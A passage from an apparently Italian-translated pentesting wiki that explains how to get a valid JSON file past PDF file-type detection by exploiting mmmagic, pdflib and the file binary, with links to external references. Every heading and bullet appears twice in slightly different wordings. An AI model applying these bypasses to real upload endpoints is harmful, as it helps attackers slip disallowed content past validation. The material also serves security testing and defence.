More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Caricare JSON validi come se fossero PDF
### Upload valid JSONs like if it was PDF
Come evitare il rilevamento del tipo di file caricando un JSON valido anche se non consentito, falsificando un file PDF (tecniche descritte in **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Come evitare il rilevamento del tipo di file caricando un file JSON valido anche se non consentito fingendo che sia un PDF (tecniche da **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Finché i magic bytes `%PDF` sono nei primi 1024 byte è considerato valido (vedi esempio nel post)
- **`pdflib` library**: Aggiungi un falso formato PDF all'interno di un campo del JSON così la library penserà sia un PDF (vedi esempio nel post)
- **`file` binary**: Può leggere fino a 1048576 byte da un file. Basta creare un JSON più grande di tale soglia in modo che non possa parsare il contenuto come JSON e poi inserire all'interno del JSON la parte iniziale di un vero PDF: il tool penserà sia un PDF
- **`mmmagic` library**: Finché i magic bytes `%PDF` sono presenti nei primi 1024 byte è considerato valido (vedi esempio nel post)
- **`pdflib` library**: Aggiungi un finto formato PDF all'interno di un campo del JSON in modo che la libreria lo interpreti come PDF (vedi esempio nel post)
- **`file` binary**: Può leggere fino a 1048576 byte da un file. Crea un JSON più grande di tale soglia in modo che non possa analizzare il contenuto come JSON e poi, all'interno del JSON, inserisci la parte iniziale di un PDF reale e penserà che sia un PDF
## Riferimenti
## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)